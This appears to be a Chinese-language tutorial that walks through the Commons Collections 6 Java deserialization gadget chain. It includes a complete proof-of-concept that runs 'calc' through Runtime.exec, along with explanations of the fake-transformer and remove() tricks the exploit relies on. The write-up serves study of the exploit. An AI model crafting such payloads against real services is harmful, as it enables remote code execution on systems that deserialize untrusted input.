分析时所使用的 JDK 版本为: 8u472

CommonsCollections1 中使用了AnnotationInvocationHandler 类进行 gadgets 构造,但是在 jdk8u71 之后 AnnotationInvocationHandler类的readObject()方法实现发生了改变,导致原利用方法在高版本 java 不再适用了。

下面我们不分析 ysoserial 的链,而是学习p牛的简化链。

Gadgets

ObjectInputStream.readObject()
  -> HashMap.readObject()
    -> HashMap.hash(key)
      -> TiedMapEntry.hashCode()
        -> TiedMapEntry.getValue()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> InvokerTransformer.transform()
                -> Method.invoke()
                  -> Runtime.getRuntime()
                  -> Runtime.exec("calc")
​

POC

package CommonsCollections6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
​
public class CommonsCollections6 {
    public static void main(String[] args) throws Exception{
​
        // 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
​
        // 过渡 transformer 链,避免在构造阶段触发恶意执行
        Transformer[] fakeTransformers = new Transformer[]{
            new ConstantTransformer(1)
        };
​
        // 链式执行
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
​
        // HashMap 入口
        Map innerMap = new HashMap();
​
        // LazyMap 包装 HashMap
        // LazyMap 只对 get 方法继续了逻辑增强,方法重写
        // 其他的方法都只是继承了 super(map) 然后对 map 的默认行为做转发
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
​
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");
        Map expMap = new HashMap();
​
        expMap.put(tiedMapEntry,"sinon2");
​
        outerMap.remove("sinon1");
​
        // 反射修改 chainedTransformer 的 iTransformers 字段
        Class<?> clazz = ChainedTransformer.class;
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);
        byte[] bytes = serialize(expMap);
        unserialize(bytes);
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }
​
    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
}
​

Sink

作为 CommonsCollections6 的实际执行点, ChainedTransformer 链的实现和在其他 CommonsCollections 链中 区别不大,这里再次简单回顾一下。

使用 Transformer[] 将调用链塞进一个数组,然后在 ChainedTransformer 中调用 transform 方法时,会遍历数组的每一个元素为每个元素依次调用 transform。 每次调用的返回值会重新赋给 object,然后传给下一个 transformer

所以 Gadgets 目标很明确了,就是找到一条外部可控的路径触发 ChainedTransformertransform 方法,即可引爆

        // 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 不依赖 cc6 , 使用 ChainedTransformer 自带特性触发调用链,传入参数随意
        Object value = chainedTransformer.transform("Sinon");

ChainedTransformer

ChainedTransformer 构造方法,会将接收到的构造参数,即传递进来的 Transformer[] ,赋给 iTransformers 数组。

    private final Transformer[] iTransformers;
    
    // 将传递进来的 Transformer[] 赋给 iTransformers
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

ChainedTransformer.tranform 遍历数组的每一个元素为每个元素依次调用 transform。 每次调用的返回值会重新赋给 object,然后传给下一个 transformer

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
​
        return object;
    }

我们前文使用 ChainedTransformer.transform 触发完整的链

我们关注到 tranform 数组第一个入口类为: ConstantTransformer ,他的 transform 方法如下,即不关注入参直接返回构造时给的常量

    public Object transform(Object input) {
        return this.iConstant;
    }

所以如下即可触发完整链调用。

    // 入参可为任意值
    Object value = chainedTransformer.transform("Sinon");

Trigger Chain

我们从 Sink 往源入口学习 CommonsCollections6 的原理,而先不追求自己审计出一条链。

现在我们可以来分析为什么 LazyMap.get() 能够触发 chainedTransformer.transform

LazyMap

LazyMap 本质上是一个 Map 的装饰器(Decorator),它不自己真正存数据,而是包装一个真实的 Map,在此基础上做了一点懒加载增强:它对绝大部分 Map 方法只是简单转发到底层 Map ,只有对 get方法增强了。

从他的方法实现上,应该很清晰明了了,LazyMap 增强的 get 方法为,当在Map 对象中尝试 get 一个 key 时,如果对象中没有这个 key 就用 transformer 动态生成一个,再存进去。如果已经有这个 key,直接返回原来的值

    protected final Transformer factory;
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

所以我们只需要构造一个 LazyMap 对象,然后 get 一个不存在的 key 就能触发 this.factory.transform(key)

所以接下来,我们想个办法将 LazyMap.factory 赋成 ChainedTransformer 就行了。

不难看到LazyMap 作为一个装饰器类,自然提供了 decorate 方法,当我们对一个 map 进行装饰的时候,传入的 Transformer factory 设置为 ChainedTransformer 即可将 LazyMap.factory 转为 ChainedTransformer

所以有前文 POC

        // HashMap 入口
        Map innerMap = new HashMap();
​
        // LazyMap 包装 HashMap
        // LazyMap 只对 get 方法进行了逻辑增强
        // 其他的方法都只是继承了 super(map) 然后对 map 的默认行为做转发
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

TiedMapEntry

现在我们思路有了,即找到一个方法来调用 LazyMap 实例来 get 一个不存在的 key

很巧的是 TiedMapEntry 刚好能够实现这个目标。

TiedMapEntry 的构造方法期望一个 map 和一个 key ,而当我们调用 TiedMapEntry.getValue 会调用 this.map.get(this.key)

很容易想到如果这个 map 是经过 LazyMap装饰的 map 实例,就实现了前文需求的 LazyMap.get

所以就有了 POC 中的:

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");

现在又有一个问题,我们要怎么去找到一个点,能够在反序列化过程中自动的调用到 TiedMapEntry.getValue 呢?

反序列化期望的是 触发条件少,自动化程度高,依赖少,可复现性强,JDK 自带,环境普遍存在

很显然,除了自己设计的业务逻辑外,几乎不会有自动遍历调用 TiedMapEntry.getValue 这种场景。我们不妨继续看看 TiedMapEntry 的实现细节。

可以发现 getValue 方法,有被 TiedMapEntry 类中的其他方法使用。

一个是 equals 一个是 hashCode

看到 hashCode 方法,我们就应该意识到,链路节点就在这里。

在 JDK8 中,HashMap 在反序列化时 几乎必然 会调用 key.hashCode() ,那么我们就应该从 hashCode 方法间接的调用到 getValue

而不是去尝试寻找一条自动化直接调用 `TiedMapEntry.getValue 的新链。

所以我们只要将 HashMapkey 设计为 TiedMapEntry 实例,就完美的将链打通了。

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry,"sinon2");

HashMap

正如上所说,我们现在来看看 HashMap 是怎么实现的。

    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
​
        ObjectInputStream.GetField fields = s.readFields();
​
        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);
​
        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);
​
        reinitialize();
​
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
​
            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
​
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
​
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }    
    

不难看到, HashMap 所实现的 readObject 逻辑中,只要 map 非空,则读出每一个 key/valueputVal → 触发 hash() 然后再到 hashCode()

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }

自此,整条 Gadgets 链就串联起来了

ObjectInputStream.readObject()
  -> HashMap.readObject()
    -> HashMap.hash(key)
      -> TiedMapEntry.hashCode()
        -> TiedMapEntry.getValue()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> InvokerTransformer.transform()
                -> Method.invoke()
                  -> Runtime.getRuntime()
                  -> Runtime.exec("calc")
​

Notes

虽然 Gadgets 链已经完全通了,但是我们回顾 POC 可以注意到,我们采用了提前放入假的过渡 transformer 链,并最终使用反射将真的链放进去的方法来完成执行。这是为什么呢?

Indirect Invocation

我们尝试保留实际的 Transformer 以及将 remove 和序列化/反序列化操作 均注释掉。运行,发现我们没有进行反序列化也在本地出发了调用链。

这里其实是 HashMap.put 操作引起的隐式调用。

我们回顾 GadgetsHashMap.hash -> TiedMapEntry.hashCode 会引爆调用链,那我们看看 HashMap.put 的行为具体如何呢?

// poc
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"sinon2");
​
// HashMap.put
public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
​
// HashMap.hash
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

如上 HashMap.put 也会对传入的参数 keytiedMapEntry 进行 hash(tiedMapEntry) 然后进一步执行 tiedMapEntry.hashCode

从而提前触发利用链执行。这也就解释了前面没有进行反序列化操作也能触发 calc

虽然这个 CC6 学习 POC 中提前引爆看似没有什么大的影响,但是如果在实际环境里,我们提前执行了不好的命令将会对本机也产生危害,以及其他链里提前触发利用链,可能会导致某些行为发生改变,以致远程利用失败。

所以我们引入一条假的 fakeTransformersHashCode.put 时提前触发也不对本地产生危害。

// 过渡 transformer 链,避免在构造阶段触发执行
Transformer[] fakeTransformers = new Transformer[]{
    new ConstantTransformer(1)
};

remove

fakeTransformers 我们懂了,那 outerMap.remove 又存在什么作用?

不妨尝试将其注释然后运行 POC,会发现反序列化结束后却并没有成功弹起计算器。

这其实还是和前面的 HashCode.put 有间接关联

先来看看 outerMap.remove("sinon1") 的行为

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
outerMap.remove("sinon1");

outerMap 运行时是一个 LazyMap 对象,它内部包装了底层的 HashMapinnerMap

也就是说 outerMap 的变量类型是Map ,对象类型是 LazyMap , 存数据的是 innerMapHashMap

我们此时 remove 的实际是底层的 innermap (HashMap) 即 outerMap.remove("sinon1") ≈ innerMap.remove("sinon1")

现在回到 HashCode.put 的间接关联,我们从上一步 Indirect Invocation 分析得出 HashCode.put 会提前触发 ChainedTransformer 的调用链执行。也就是说中间还执行过 LazyMap.get()

经过 expMap.put(tiedMapEntry,"sinon2")outerMap.get(Object key)keyTiedMapEntry 构造方法传递,即 sinon1

// LazyMap.get
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

而我们底层 innerMap 为一个空 Map ,则 super.map.containsKey('sinon1') 自然也是不存在的。

所以这个时候将会进行 super.map.put(key, value)innerMapkey: sinon1 进行缓存赋值。

不管 value 具体为何值, innerMap 中都有了一个叫 sinon1 的键

此时我们反序列化后重建出来的 LazyMap 仍然包装着一个已经含 "sinon1" 的底层 HashMapinnerMap

再次尝试运行到 LazyMap.get 时,自然就会因为 sinon1 已经存在,而跳过 transform

当然,我们不妨加一行简单的代码验证一下

        System.out.println("contains sinon1: " + innerMap.containsKey("sinon1"));



国家一级保护废物